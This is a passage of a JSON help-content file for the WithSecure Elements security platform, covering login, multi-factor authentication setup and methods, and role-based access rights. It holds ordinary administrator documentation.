{ "concept_eppproductwebhelp-latest-en.json": { "title": "title_product_webhelp_000001_1FD3F9A", "title_product_webhelp_000001_1FD3F9A": "WithSecure Elements Endpoint Detection and Response ", "shortdesc": "shortdesc_product_webhelp_000003_C705DF9", "shortdesc_product_webhelp_000003_C705DF9": "Information on using the product, including supported browsers and release notes. ", "content.p_product_webhelp_000008_0B7542F": "To download this documentation in PDF format, see the administration guide.", "content.dt_product_webhelp_00000B_85E8A2C": "Other material", "content.dd_product_webhelp_00000C_7AC4D78": "", "desc": [ "content.p_product_webhelp_000008_0B7542F", { "dl.dl_product_webhelp_00000A_83214DB": [ { "dlentry.other-material": [ "content.dt_product_webhelp_00000B_85E8A2C", "content.dd_product_webhelp_00000C_7AC4D78" ] } ] } ] }, "withsecure_elements_help-latest-en.json": { "title": "title_withsecure_elements_help_067DB", "title_withsecure_elements_help_067DB": "Introduction to the WithSecure Elements solution", "shortdesc": "shortdesc_withsecure_elements_help_027F2", "shortdesc_withsecure_elements_help_027F2": "Overview of the WithSecure Elements solution and its offering.", "content.dt_withsecure_elements_help_0BDDE": "WithSecure Elements overview", "content.dd_withsecure_elements_help_0F1A4": "WithSecure Elements is our single modular solution made up of a full range of cyber security applications that offer end-to-end business and cloud coverage. The product includes our award-winning technologies in vulnerability management, patch management, endpoint protection, and endpoint detection and response. In today's unpredictable, ever-changing business environment, our all-in-one security solution helps to build and ensure a resilient business.", "content.dt_withsecure_elements_help_07CBC": "The WithSecure Elements offering", "content.dd_withsecure_elements_help_07058": "", "content.dd_p_withsecure_elements_help_00656": "WithSecure Elements has been specifically designed to support the modern agile business environment, which constantly needs to adapt not only to the external threat landscape, but also to the changing business needs.
", "content.dd_p_withsecure_elements_help_0B3BD": "To highlight some of the main benefits:
", "choice.choice_withsecure_elements_help_03B47": "Centralized and streamlined cyber security management to improve productivity", "choice.choice_withsecure_elements_help_0AA1F": "All the needed software components integrated into one for smooth deployment", "choice.choice_withsecure_elements_help_0EFB3": "Available as a fully managed service or as a self-managed cloud solution", "content.dd_p_withsecure_elements_help_043F6": "The solution also offers flexible licensing options, which means that you can pick and choose which of WithSecure Elements applications your business needs.
", "content.dt_withsecure_elements_help_08337": "Supported languages", "content.dd_withsecure_elements_help_06929": "", "content.dd_p_withsecure_elements_help_0E353": "The Elements Security Center supports the following languages:
", "choice.choice_withsecure_elements_help_08889": "English (US), Finnish, French, German, Italian, Japanese, Polish, Portuguese (Brazil), Spanish (Latin America), Swedish", "content.dd_p_withsecure_elements_help_06D8E": "Endpoint products support the following languages:
", "choice.choice_withsecure_elements_help_06C89": "English, Czech, Danish, Dutch, Estonian, Finnish, French, French (Canadian), German, Greek, Hungarian, Italian, Japanese, Norwegian, Polish, Portuguese, Portuguese (Brazilian), Romanian, Russian, Slovenian, Spanish, Spanish (Latin America), Swedish, Turkish, Traditional Chinese (Hong Kong), Traditional Chinese (Taiwan), and Simplified Chinese (PRC).", "content.dt_withsecure_elements_help_04C3F": "WithSecure Elements training", "content.dd_withsecure_elements_help_00AB8": "For an introductory Elements training session, log into the WithSecure Academy via the Partner Portal.", "content.dt_withsecure_elements_help_09C41": "Accessing the WithSecure Elements Security Center", "content.dd_withsecure_elements_help_01215": "You can access Elements Security Center as follows: WithSecure Elements Security Center", "desc": [ { "dl.dl_withsecure_elements_help_0E003": [ { "dlentry.withsecure-elements-in-a-nE0D8": [ "content.dt_withsecure_elements_help_0BDDE", "content.dd_withsecure_elements_help_0F1A4" ] }, { "dlentry.the-withsecure-elements-of0C00": [ "content.dt_withsecure_elements_help_07CBC", "content.dd_withsecure_elements_help_07058", "content.dd_p_withsecure_elements_help_00656", "content.dd_p_withsecure_elements_help_0B3BD", { "choices.ul_withsecure_elements_help_06852": [ "choice.choice_withsecure_elements_help_03B47", "choice.choice_withsecure_elements_help_0AA1F", "choice.choice_withsecure_elements_help_0EFB3" ] }, "content.dd_p_withsecure_elements_help_043F6" ] }, { "dlentry.supported-languages": [ "content.dt_withsecure_elements_help_08337", "content.dd_withsecure_elements_help_06929", "content.dd_p_withsecure_elements_help_0E353", { "choices.ul_withsecure_elements_help_0F5B2": [ "choice.choice_withsecure_elements_help_08889" ] }, "content.dd_p_withsecure_elements_help_06D8E", { "choices.ul_withsecure_elements_help_08941": [ "choice.choice_withsecure_elements_help_06C89" ] } ] }, { "dlentry.withsecure-elements-training": [ "content.dt_withsecure_elements_help_04C3F", "content.dd_withsecure_elements_help_00AB8" ] }, { "dlentry.accessing-the-withsecure-e9324": [ "content.dt_withsecure_elements_help_09C41", "content.dd_withsecure_elements_help_01215" ] } ] } ] }, "getting_started-2-latest-en.json": { "title": "title_getting_started_000001_BFE365B", "title_getting_started_000001_BFE365B": "Using WithSecure Elements Security Center", "shortdesc": "shortdesc_getting_started_000003_50A3824", "shortdesc_getting_started_000003_50A3824": "Basic tasks for everyday use of WithSecure Elements Security Center, including managing access rights and administrator accounts. ", "content.p_getting_started_000012_CBD0017": "This chapter describes the following tasks:", "step.step_getting_started_000014_1D65201": "managing access rights", "step.step_getting_started_000015_3E77E8E": "adding new administrator accounts", "step.step_getting_started_000016_12B0C92": "adding customer companies", "step.step_getting_started_000017_C3C4870": "using the scope selector to broaden or narrow the scope of information displayed in WithSecure Elements Security Center", "content.p_getting_started_00001A_7934732": "You can order WithSecure Elements products to users in the customer companies, as well as manage the subscriptions of the products installed on the companies' computers and mobile devices.", "desc": [ "content.p_getting_started_000012_CBD0017", { "steps.ul_getting_started_000013_B6721B1": [ "step.step_getting_started_000014_1D65201", "step.step_getting_started_000015_3E77E8E", "step.step_getting_started_000016_12B0C92", "step.step_getting_started_000017_C3C4870" ] }, "content.p_getting_started_00001A_7934732" ] }, "quick_start_guide_for_security_center-latest-en.json": { "title": "title_quick_start_guide_for_se_0FD4D", "title_quick_start_guide_for_se_0FD4D": "Get started with WithSecure Elements Security Center", "shortdesc": "shortdesc_quick_start_guide_for_se_0B73A", "shortdesc_quick_start_guide_for_se_0B73A": "Get started with WithSecure Elements Security Center in four steps: log in, set up multi-factor authentication, add administrators, and assign a subscription.", "content.p_quick_start_guide_for_se_01E3A": "You need a WithSecure Business Account to access Elements Security Center at WithSecure Elements Security Center. There are two ways to get an account:", "content.note_quick_start_guide_for_se_06572": "Tip: If the email has not arrived, check your junk mail folder first.", "step.step_quick_start_guide_for_se_06A89": "When you buy the product from a WithSecure partner, the partner usually creates the account for the first administrator. You then receive an email with a temporary password and a login link.", "step.step_quick_start_guide_for_se_06D70": "If you have a subscription key but no account yet, create the first administrator account with the self-registration link to WithSecure Elements Security Center.", "content.p_quick_start_guide_for_se_02DA4": "This quick start guide walks you through the four main steps to start using WithSecure Elements Security Center: log in, set up multi-factor authentication, add administrator accounts, and assign a subscription.", "substep.substep_quick_start_guide_for_se_0ACD6": "Log in at WithSecure Elements Security Center sign-in page with your Business Account credentials. For the login options, see Logging in.", "substep.substep_quick_start_guide_for_se_0DADB": "If you manage more than one company, switch between them with the scope selector, as described in Move between the managed companies.", "step.step_quick_start_guide_for_se_04152": "Log in to Elements Security Center.", "substep.substep_quick_start_guide_for_se_0F8BE": "Turn on MFA for your account, as described in Choose multi-factor authentication.", "substep.substep_quick_start_guide_for_se_0B42A": "Choose an authentication method that fits your needs. For the available methods, see MFA methods.", "step.step_quick_start_guide_for_se_0034C": "Set up multi-factor authentication (MFA).", "substep.substep_quick_start_guide_for_se_05D1F": "Invite additional administrators and assign their roles, as described in Invite Security Administrator to company organization.", "step.step_quick_start_guide_for_se_0F07F": "Add administrator accounts.", "substep.substep_quick_start_guide_for_se_00C8B": "Assign a subscription key for the company, as described in Assign a subscription key for a customer company.", "substep.substep_quick_start_guide_for_se_0A9BF": "Download the installer for the product that you want to deploy, as described in Download software from Elements Security Center.", "step.step_quick_start_guide_for_se_06CD6": "Assign a subscription and deploy a product.", "content.p_quick_start_guide_for_se_03747": "Follow the quick start guide for the specific product that you want to deploy to complete the setup.", "desc": [ "content.p_quick_start_guide_for_se_01E3A", { "steps.ul_quick_start_guide_for_se_023A7": [ "step.step_quick_start_guide_for_se_06A89", "content.note_quick_start_guide_for_se_06572", "step.step_quick_start_guide_for_se_06D70" ] }, "content.p_quick_start_guide_for_se_02DA4", { "steps.steps_quick_start_guide_for_se_0658C": [ "step.step_quick_start_guide_for_se_04152", { "substeps.substepsalpha_quickalpha_startalpha_guidealpha_foralpha_sealpha_0C6D5": [ "substep.substep_quick_start_guide_for_se_0ACD6", "substep.substep_quick_start_guide_for_se_0DADB" ] }, "step.step_quick_start_guide_for_se_0034C", { "substeps.substepsalpha_quickalpha_startalpha_guidealpha_foralpha_sealpha_07568": [ "substep.substep_quick_start_guide_for_se_0F8BE", "substep.substep_quick_start_guide_for_se_0B42A" ] }, "step.step_quick_start_guide_for_se_0F07F", { "substeps.substepsalpha_quickalpha_startalpha_guidealpha_foralpha_sealpha_00F43": [ "substep.substep_quick_start_guide_for_se_05D1F" ] }, "step.step_quick_start_guide_for_se_06CD6", { "substeps.substepsalpha_quickalpha_startalpha_guidealpha_foralpha_sealpha_0B5AE": [ "substep.substep_quick_start_guide_for_se_00C8B", "substep.substep_quick_start_guide_for_se_0A9BF" ] } ] }, "content.p_quick_start_guide_for_se_03747" ] }, "logging_in-latest-en.json": { "title": "title_logging_in_000001_0BA857E4", "title_logging_in_000001_0BA857E4": "Logging in", "shortdesc": "shortdesc_logging_in_000002_9B7851E5", "shortdesc_logging_in_000002_9B7851E5": "Requirements for logging in to WithSecure Elements Security Center using a Business Account. ", "content.p_logging_in_000012_D18408E2": "You need a WithSecure Business Account to access Elements Security Center. When you purchase the product from a WithSecure partner, the partner typically creates a Business Account for the first administrator in your organization. If this applies to you, you have received an email from WithSecure with a temporary password and a link to log in to Elements Security Center.", "content.p_logging_in_000018_58DD10A6": "If your account has not yet been created, but you have received a subscription key from your partner, you can use the subscription key to create a WithSecure Business account for the first administrator in your organization. To do that, use the company self-registration link for your specific region.", "desc": [ "content.p_logging_in_000012_D18408E2", "content.p_logging_in_000018_58DD10A6" ] }, "logging_in_to_non_federated_domains-latest-en.json": { "title": "title_logging_in_to_non_federa_0ADB9", "title_logging_in_to_non_federa_0ADB9": "Log in to non-federated domains", "shortdesc": "shortdesc_logging_in_to_non_federa_038ED", "shortdesc_logging_in_to_non_federa_038ED": "Logs in to a non-federated domain using your username and password.", "content.p_logging_in_to_non_federa_0555A": "To log in to a non-federated domain, do the following:", "content.p_logging_in_to_non_federa_06841": "The Log in page opens.", "step.step_logging_in_to_non_federa_04403": "Open the following link in the web browser: WithSecure Elements Security Center sign-in page.", "content.note_logging_in_to_non_federa_08EAF": "Note: If you do not have login credentials, ask your contact person for portal access. If you forget your password, you can order a new one by selecting Forgot password. Instructions for resetting your password are sent to your email address.", "content.p_logging_in_to_non_federa_0FC43": "Elements Security Center opens. You can toggle between the services using the navigation menu in the sidebar.", "step.step_logging_in_to_non_federa_0100A": "Enter your username and password, and select Log in.", "desc": [ "content.p_logging_in_to_non_federa_0555A", { "steps.steps_logging_in_to_non_federa_02AB6": [ "step.step_logging_in_to_non_federa_04403", "content.p_logging_in_to_non_federa_06841", "step.step_logging_in_to_non_federa_0100A", "content.note_logging_in_to_non_federa_08EAF", "content.p_logging_in_to_non_federa_0FC43" ] } ], "related": [ "logging_in_to_a_federated_domain-latest-en" ] }, "logging_in_to_a_federated_domain-latest-en.json": { "title": "title_logging_in_to_federated__05880", "title_logging_in_to_federated__05880": "Log in to federated domains", "shortdesc": "shortdesc_logging_in_to_federated__06F7A", "shortdesc_logging_in_to_federated__06F7A": "Logs in to a federated domain using Microsoft Entra ID credentials.", "content.p_logging_in_to_federated__0A6A1": "Before you begin, make sure that you have a Microsoft Entra account. If you are a new user, you must create one first.", "content.p_logging_in_to_federated__0F288": "To log in to a federated domain, do the following:", "content.p_logging_in_to_federated__0623F": "You are redirected to the Microsoft login page.", "step.step_logging_in_to_federated__068E9": "Open the following link in the web browser: WithSecure Elements Security Center sign-in page.", "content.note_logging_in_to_federated__0F621": "Important: If you are a first-time user and you had a WithSecure Business Account before the domain was federated, you are redirected to the Microsoft login page to enter your Microsoft credentials for authentication. This links your account to federated single sign-on. For subsequent logins, authentication will be handled via SSO using the Microsoft Entra ID account.", "step.step_logging_in_to_federated__0CA8D": "Enter your Entra credentials, and select Log in.", "content.p_logging_in_to_federated__0950C": "Elements Security Center opens. You can toggle between the services using the navigation menu in the sidebar.", "desc": [ "content.p_logging_in_to_federated__0A6A1", "content.p_logging_in_to_federated__0F288", { "steps.steps_logging_in_to_federated__0A5C6": [ "step.step_logging_in_to_federated__068E9", "content.p_logging_in_to_federated__0623F", "step.step_logging_in_to_federated__0CA8D", "content.note_logging_in_to_federated__0F621" ] }, "content.p_logging_in_to_federated__0950C" ] }, "mfa-latest-en.json": { "title": "title_mfa_000001_E9DF3B3D", "title_mfa_000001_E9DF3B3D": "Multi-factor authentication", "shortdesc": "shortdesc_mfa_000002_E8E2DBB8", "shortdesc_mfa_000002_E8E2DBB8": "Multi-factor authentication (MFA), also know as two-factor authentication (2FA), is a method of increasing security during the login process to systems.", "content.p_mfa_000011_27FA82DE": "MFA protects you and your environment against, for example, phishing and credential stuffing attacks.", "content.note_mfa_000012_1EFAF577": "Important: We recommend that you use Multi-Factor Authentication (MFA) to secure access to WithSecure Elements Security Center. Set up MFA immediately in Elements Security Center.", "content.note_mfa_000015_21E85E33": "Important: We recommend that, as a backup, you use more than one multi-factor authentication method. If your only multi-factor authentication method is lost, the account needs to be re-created.", "content.p_mfa_000016_94AEF88C": "When users log in to a system with their username and password, their credentials may already have been compromised, for example, due to a vulnerability in their browser or password manager. These leaked credentials may be on some publicly accessible list, used by attackers to gain entry into systems. With the addition of MFA, an extra step is needed when logging in. System access is traditionally protected with username and password, something that only you know. MFA introduces additional factors; something that you have (a security key or device) and something that you are (your fingerprint or facial recognition).", "desc": [ "content.p_mfa_000011_27FA82DE", "content.note_mfa_000012_1EFAF577", "content.note_mfa_000015_21E85E33", "content.p_mfa_000016_94AEF88C" ] }, "concept_k4l_nv5_m1c-latest-en.json": { "title": "title_mfa_methods_000001_3C4ED65E", "title_mfa_methods_000001_3C4ED65E": "MFA methods", "shortdesc": "shortdesc_mfa_methods_000002_B3223654", "shortdesc_mfa_methods_000002_B3223654": "WithSecure Elements has multiple MFA methods to keep your access safe as possible. ", "content.p_mfa_methods_000015_D0C2EB27": "The methods include the following:", "step.step_mfa_methods_000017_BD2D0658": "Authenticator applications with Time-Based One-Time Password (TOTP), such as Microsoft Authenticator, Google Authenticator, Auth0 Guardian, or other authenticator applications that are available either on your computer or mobile devices. A six-digit authentication code is sent to the Authenticator application, and you need to enter it into the login dialog to continue.", "step.step_mfa_methods_00001A_537FA044": "Push notifications with Auth0 Guardian authenticator - allows you to approve an authentication request with a single click of a button. The Auth0 Guardian Multi-Factor Authenticator application is available in Google Play and AppStore.", "content.note_mfa_methods_000020_D23D12C9": "Important: SMS messages are vulnerable to security breaches and malicious software, and receiving them may also charge you extra fees. For these reasons, we recommend that you only use SMS when there are no safer alternatives for you to use.", "content.note_mfa_methods_000021_AB3F0653": "Tip: If you request several SMS codes in a short time, further messages might be blocked temporarily. The block clears after a short while. For everyday sign-in, we recommend an authenticator app or a security key (WebAuthn/FIDO2), which are more reliable than SMS.", "step.step_mfa_methods_00001E_3BFBC094": "Phone number for Short Message Service (SMS) messages with One-Time Passwords (OTP) - A six-digit authentication code is sent to your configured mobile phone number via SMS. You need to enter the code into the login dialog to continue.", "step.step_mfa_methods_000022_D3CCAE11": "Secure USB keys, such as Yubico YubiKey, Google Titan, and others that support the FIDO2 standard (FIDO2 specification)", "step.step_mfa_methods_000025_88720CB8": "Smartphones or other devices that support the FIDO2 standard (FIDO2 specification)", "content.note_mfa_methods_00002B_BCDE8731": "Important: Device biometrics are specific to individual devices and it must not be the only authentication method that you use. You are prompted to add this authentication method for each device that you use.", "step.step_mfa_methods_000028_625F50F3": "Device biometrics, fingerprint or facial recognition or Windows Hello from your device using WebAuthn (Web Authentication (WebAuthn) specification).", "desc": [ "content.p_mfa_methods_000015_D0C2EB27", { "steps.ul_mfa_methods_000016_D8BC2EDE": [ "step.step_mfa_methods_000017_BD2D0658", "step.step_mfa_methods_00001A_537FA044", "step.step_mfa_methods_00001E_3BFBC094", "content.note_mfa_methods_000020_D23D12C9", "content.note_mfa_methods_000021_AB3F0653", "step.step_mfa_methods_000022_D3CCAE11", "step.step_mfa_methods_000025_88720CB8", "step.step_mfa_methods_000028_625F50F3", "content.note_mfa_methods_00002B_BCDE8731" ] } ], "related": [ "setting_up_2fa-latest-en" ] }, "setting_up_2fa-latest-en.json": { "title": "title_setting_up_2fa_000001_91F702F1", "title_setting_up_2fa_000001_91F702F1": "Choose multi-factor authentication", "shortdesc": "shortdesc_setting_up_2fa_000002_BD431774", "shortdesc_setting_up_2fa_000002_BD431774": "Chooses one or more multi-factor authentication methods.", "content.p_setting_up_2fa_000011_6D8DA1CB": "Before you choose a multi-factor authentication method:", "step.step_setting_up_2fa_000013_38B7268F": "Install an authentication app, for example, Google Authenticator on your mobile device.", "step.step_setting_up_2fa_000014_032A47C1": "Make sure that your mobile device can read QR codes.", "content.p_setting_up_2fa_000016_65FB154E": "Choose the most secure authentication method available to you. FIDO2 is the best option, followed by authenticator apps. SMS should only be used as a last resort. Note that if you lose your mobile device and have not backed up your security keys or authenticator app, you will lose access to your account, so SMS can be used as a backup method in such situations.", "content.note_setting_up_2fa_000017_8CAC0BAC": "Tip: Register more than one authentication method. If you lose access to all of your authentication methods, the account cannot be reset and must be re-created.", "content.p_setting_up_2fa_000018_22FD18C5": "To choose one or more multi-factor authentication methods:", "step.step_setting_up_2fa_00001A_D59D4B14": "Log in to WithSecure Elements Security Center with your email address and password.", "content.note_setting_up_2fa_000022_F83FCA71": "Note: If you have already configured one or more MFA methods, select Change.", "content.p_setting_up_2fa_000024_5114260E": "The Multi-Factor Authentication Settings window opens.", "step.step_setting_up_2fa_00001D_A5AA9423": "Select at the top-right corner, then select My settings.", "content.p_setting_up_2fa_000029_6814FDF4": "The Verify your identity screen opens.", "step.step_setting_up_2fa_000026_197D4D85": "Select Add to select one or more of the authentication options that you want to use.", "content.p_setting_up_2fa_00002D_00B5006A": "Multi-factor authentication is now set up for your WithSecure Elements account.", "content.note_setting_up_2fa_00002F_C1BD13C1": "Note: We recommend that you select multiple multi-factor authentication methods as a backup. If your only multi-factor authentication method is lost, there is no way to reset the multi-factor authentication. If all multi-factor authentication methods are lost, the account needs to be re-created.", "step.step_setting_up_2fa_00002B_C4019025": "Follow the instructions on the screen. The required actions depend on the MFA method that you selected.", "desc": [ "content.p_setting_up_2fa_000011_6D8DA1CB", { "steps.ul_setting_up_2fa_000012_073F3331": [ "step.step_setting_up_2fa_000013_38B7268F", "step.step_setting_up_2fa_000014_032A47C1" ] }, "content.p_setting_up_2fa_000016_65FB154E", "content.note_setting_up_2fa_000017_8CAC0BAC", "content.p_setting_up_2fa_000018_22FD18C5", { "steps.steps_setting_up_2fa_000019_C286A671": [ "step.step_setting_up_2fa_00001A_D59D4B14", "step.step_setting_up_2fa_00001D_A5AA9423", "content.note_setting_up_2fa_000022_F83FCA71", "content.p_setting_up_2fa_000024_5114260E", "step.step_setting_up_2fa_000026_197D4D85", "content.p_setting_up_2fa_000029_6814FDF4", "step.step_setting_up_2fa_00002B_C4019025", "content.p_setting_up_2fa_00002D_00B5006A", "content.note_setting_up_2fa_00002F_C1BD13C1" ] } ], "related": [ "task_qc3_vmh_k1c-latest-en" ] }, "task_qc3_vmh_k1c-latest-en.json": { "title": "title_removing_mfa_000001_D53C16DF", "title_removing_mfa_000001_D53C16DF": "Remove a multi-factor authentication", "shortdesc": "shortdesc_removing_mfa_000002_0CA2A01B", "shortdesc_removing_mfa_000002_0CA2A01B": "Removes a multi-factor authentication method.", "content.p_removing_mfa_000011_884BA051": "To remove a multi-factor authentication method:", "step.step_removing_mfa_000013_FE193C0B": "Log in with your email address and password.", "step.step_removing_mfa_000015_D31813E7": "Enter your multi-factor authentication code and select Continue.", "step.step_removing_mfa_000018_6D917E9B": "Select at the top-right corner, then select My settings.", "content.p_removing_mfa_000020_23C12649": "The Verify your identity window opens.", "step.step_removing_mfa_00001C_E4410FD3": "Select Change next to Multi-factor Authentication enabled.", "step.step_removing_mfa_000022_C4B3B02B": "Follow the instructions on the screen.", "step.step_removing_mfa_000024_BE8B3AB9": "Select Remove next to the multi-factor authentication methods that you want to remove.", "step.step_removing_mfa_000027_29D4F4A1": "Enter your email address and password.", "desc": [ "content.p_removing_mfa_000011_884BA051", { "steps.steps_removing_mfa_000012_5D9D81CC": [ "step.step_removing_mfa_000013_FE193C0B", "step.step_removing_mfa_000015_D31813E7", "step.step_removing_mfa_000018_6D917E9B", "step.step_removing_mfa_00001C_E4410FD3", "content.p_removing_mfa_000020_23C12649", "step.step_removing_mfa_000022_C4B3B02B", "step.step_removing_mfa_000024_BE8B3AB9", "step.step_removing_mfa_000027_29D4F4A1" ] } ] }, "using_device_biometrics-latest-en.json": { "title": "title_using_device_biometrics_0096D8", "title_using_device_biometrics_0096D8": "Use device biometrics", "shortdesc": "shortdesc_using_device_biometrics_004693", "shortdesc_using_device_biometrics_004693": "Biometric authentication requires that you first have another multi-factor authentication (MFA) method in use.", "content.p_using_device_biometrics_0021E5": "You must already have another multi-factor authentication (MFA) method set up before you can use device biometrics.", "content.p_using_device_biometrics_00557F": "To use device biometrics, do the following:", "content.p_using_device_biometrics_009179": "The My settings window opens.", "step.step_using_device_biometrics_002951": "In Elements Security Center, select at the top-right corner, and select My settings.", "content.p_using_device_biometrics_00A090": "The Use fingerprint or face recognition to log in window opens.", "step.step_using_device_biometrics_00C376": "If you already have one or more MFA methods configured, select Change.", "step.step_using_device_biometrics_00A1BE": "Select Try another method.", "content.p_using_device_biometrics_00E9EA": "The Log in faster on this device window opens.", "step.step_using_device_biometrics_00E158": "Use your already configured MFA method to verify your identity and select Continue.", "content.p_using_device_biometrics_00CDBA": "The Save your passkey window opens.", "step.step_using_device_biometrics_00DCCB": "Select Continue.", "content.p_using_device_biometrics_00DF70": "The Device registration successful window opens.", "step.step_using_device_biometrics_006713": "Select Continue to save the passkey to your device, and then select Ok.", "content.p_using_device_biometrics_0038A6": "The Multi-factor authentication settings window now shows your new device biometric key.", "step.step_using_device_biometrics_00CC2B": "Select Continue.", "step.step_using_device_biometrics_00D8D7": "At the bottom of the screen, select Back to return to the Home page", "content.p_using_device_biometrics_00C377": "The next time that you log in to Elements Security Center on this device, you can authenticate using your biometric key, which makes the process faster and more secure.", "desc": [ "content.p_using_device_biometrics_0021E5", "content.p_using_device_biometrics_00557F", { "steps.steps_using_device_biometrics_0049A1": [ "step.step_using_device_biometrics_002951", "content.p_using_device_biometrics_009179", "step.step_using_device_biometrics_00C376", "content.p_using_device_biometrics_00A090", "step.step_using_device_biometrics_00A1BE", "step.step_using_device_biometrics_00E158", "content.p_using_device_biometrics_00E9EA", "step.step_using_device_biometrics_00DCCB", "content.p_using_device_biometrics_00CDBA", "step.step_using_device_biometrics_006713", "content.p_using_device_biometrics_00DF70", "step.step_using_device_biometrics_00CC2B", "content.p_using_device_biometrics_0038A6", "step.step_using_device_biometrics_00D8D7" ] }, "content.p_using_device_biometrics_00C377" ] }, "user_management-latest-en.json": { "title": "title_user_management_000001_31B432F", "title_user_management_000001_31B432F": "User management", "shortdesc": "shortdesc_user_management_000002_C576F6F", "shortdesc_user_management_000002_C576F6F": "Instructions about access rights, adding and managing customer companies, and adding and managing administrator accounts. ", "content.p_user_management_000011_3FF8354": "This section describes how to manage who can access WithSecure Elements Security Center, including access rights and roles, the scope selector, and adding and managing administrator accounts.", "desc": [ "content.p_user_management_000011_3FF8354" ] }, "access_rights-latest-en.json": { "title": "title_access_rights_000001_B00A5704", "title_access_rights_000001_B00A5704": "About access rights", "shortdesc": "shortdesc_access_rights_000002_0FF56B8E", "shortdesc_access_rights_000002_0FF56B8E": "New users who have been granted access to Endpoint Protection (EPP) features do not automatically receive access to Extended Detection and Response (XDR) features. Administrators can assign EPP and XDR capabilities to separate user groups and combine them as necessary.", "content.p_access_rights_000012_E13260DB": "New users who get granted access to Exposure Management must also be assigned the Vulnerabilities role to manage vulnerability-related matters, including configuring scans and running reports.", "content.p_access_rights_000015_3D316F0C": "You can set access rights when you create a new account, or edit an existing account.", "desc": [ "content.p_access_rights_000012_E13260DB", "content.p_access_rights_000015_3D316F0C" ], "related": [ "add_admin_account_company-latest-en", "edit_admin_account-latest-en" ] }, "access_rights_by_role-latest-en.json": { "title": "title_access_rights_by_role_00003AF9", "title_access_rights_by_role_00003AF9": "Access rights by role", "shortdesc": "shortdesc_access_rights_by_role_0000C61A", "shortdesc_access_rights_by_role_0000C61A": "The roles and access rights available for each WithSecure Elements product area, with the audit-log entry for each role.", "content.title_access_rights_by_role_000022C6": "Exposure Management – Exposure", "content.dt_access_rights_by_role_0000CC85": "Full editing", "content.dd_access_rights_by_role_0000B825": "", "content.dd_p_access_rights_by_role_000040CB": "Allows access to the following Exposure Management features:
", "choice.choice_access_rights_by_role_00006838": "Environment: Devices, Cloud, Network, Exposure, Identities", "choice.choice_access_rights_by_role_000015FC": "Security configurations", "choice.choice_access_rights_by_role_000008BF": "Reports", "choice.choice_access_rights_by_role_00004E39": "Management", "choice.choice_access_rights_by_role_0000DAB4": "Cloud onboarding", "content.note_access_rights_by_role_0000FFDD": "Note: Security Administrators can create additional administrators and assign this role to users within the same organization (will be replaced by the IAM role)
", "content.dd_p_access_rights_by_role_0000F8A6": "Audit logs entry: cspm: admin
", "content.title_access_rights_by_role_00005222": "Exposure Management – Vulnerabilities", "content.dt_access_rights_by_role_00001EA9": "Management", "content.dd_access_rights_by_role_00002C3D": "", "content.dd_p_access_rights_by_role_0000BBF3": "Allows full access to the Vulnerability Management views, settings, and findings
", "content.note_access_rights_by_role_0000527A": "Note: Security Administrators can create additional administrators and assign this role to users within the same organization (will be replaced by the IAM role)
", "content.dd_p_access_rights_by_role_0000690F": "Audit logs entry: vm: administrator
", "content.dt_access_rights_by_role_000086E4": "Team member", "content.dd_access_rights_by_role_0000B8D9": "Allows access to the Vulnerability Management views, settings, and findings, with no permission for managing users and the system. Audit logs entry: vm: team_member", "content.dt_access_rights_by_role_00009E01": "Read-only", "content.dd_access_rights_by_role_0000AD10": "View-only access with no permission for managing users. Audit logs entry: vm: readonly_team_member", "content.title_access_rights_by_role_0000BE4B": "Collaboration Protection", "content.dt_access_rights_by_role_0000E69D": "Admin", "content.dd_access_rights_by_role_0000137D": "", "content.dd_p_access_rights_by_role_00001187": "Allows the access to the Collaboration Protection views and edit the following protection features:
", "choice.choice_access_rights_by_role_00008767": "Handling detections", "choice.choice_access_rights_by_role_00002206": "Managing Exchange and shared files settings", "choice.choice_access_rights_by_role_0000E393": "Managing policies, quarantining files, and generating reports", "content.dd_p_access_rights_by_role_0000DB2F": "Audit logs entry: cpo365:admin
", "content.dt_access_rights_by_role_00003A0D": "Read-only", "content.dd_access_rights_by_role_0000CDB4": "Grants view-only access to the Collaboration Protection views. Audit logs entry: cpo: readonly", "content.dt_access_rights_by_role_0000CECF": "Quarantine manager", "content.dd_access_rights_by_role_0000EF2F": "Allows access to the Collaboration Protection views that are related to detections and quarantining files. Audit logs entry: cpo365:quarantine_mgr", "content.title_access_rights_by_role_00003474": "Collaboration Protection – Management", "content.dt_access_rights_by_role_0000FD21": "Admin", "content.dd_access_rights_by_role_00007BB5": "", "content.dd_p_access_rights_by_role_00003119": "Allows the access to management features, including user creation, role management, subscription details, and organization settings.
", "content.note_access_rights_by_role_00008B99": "Note: Security Administrators can create additional administrators and assign this role to users within the same organization (will be replaced by the IAM role)
", "content.dd_p_access_rights_by_role_0000B5C8": "Audit logs entry: fusion_admin
", "content.title_access_rights_by_role_0000FDA1": "Endpoint Protection", "content.dt_access_rights_by_role_0000872A": "No access", "content.dd_access_rights_by_role_0000C7F4": "", "content.dd_p_access_rights_by_role_00005FBB": "No access to Endpoint protection features including:
", "choice.choice_access_rights_by_role_0000A698": "Device management", "choice.choice_access_rights_by_role_0000A6AB": "Patch management", "choice.choice_access_rights_by_role_000049F8": "Device security posture", "choice.choice_access_rights_by_role_0000A343": "Software reputation", "choice.choice_access_rights_by_role_0000ACDE": "Security Events", "choice.choice_access_rights_by_role_0000DDAE": "Profiles", "choice.choice_access_rights_by_role_0000AF9A": "Home/Endpoint protection", "choice.choice_access_rights_by_role_00008CE7": "Reports", "content.note_access_rights_by_role_000076F5": "Note: Unless access is coming from some other role, for example Exposure.
", "content.title_access_rights_by_role_0000BD4D": "Endpoint Protection – Computers and mobiles", "content.dt_access_rights_by_role_0000DEEF": "Full editing", "content.dd_access_rights_by_role_00008B24": "", "content.dd_p_access_rights_by_role_000033DE": "Allows the access to the following features:
", "choice.choice_access_rights_by_role_00009E2B": "Security configuration/profiles", "choice.choice_access_rights_by_role_0000E367": "Security information, including device status, dashboard, security events and patch management", "choice.choice_access_rights_by_role_0000FD81": "Security operations, such as removing or isolating devices, updating profiles", "choice.choice_access_rights_by_role_0000AF5F": "Handling subscriptions", "choice.choice_access_rights_by_role_0000B010": "Managing user accounts", "choice.choice_access_rights_by_role_0000362D": "Do cloud onboarding", "content.note_access_rights_by_role_0000F0EF": "Note: The Security Administrator role, along with the \"Servers - Full editing\" role is required to create additional administrators and assign this role to users within the same organization (will be replaced by the IAM role).
", "content.dd_p_access_rights_by_role_0000341D": "Audit logs entry: epp: manage_computers_mobiles_only
", "content.dd_p_access_rights_by_role_000038BC": "or epp: manage_all
", "content.dt_access_rights_by_role_00009EF6": "Read-only", "content.p_access_rights_by_role_0000B6C7": "Audit logs entry: epp: manage_servers_only
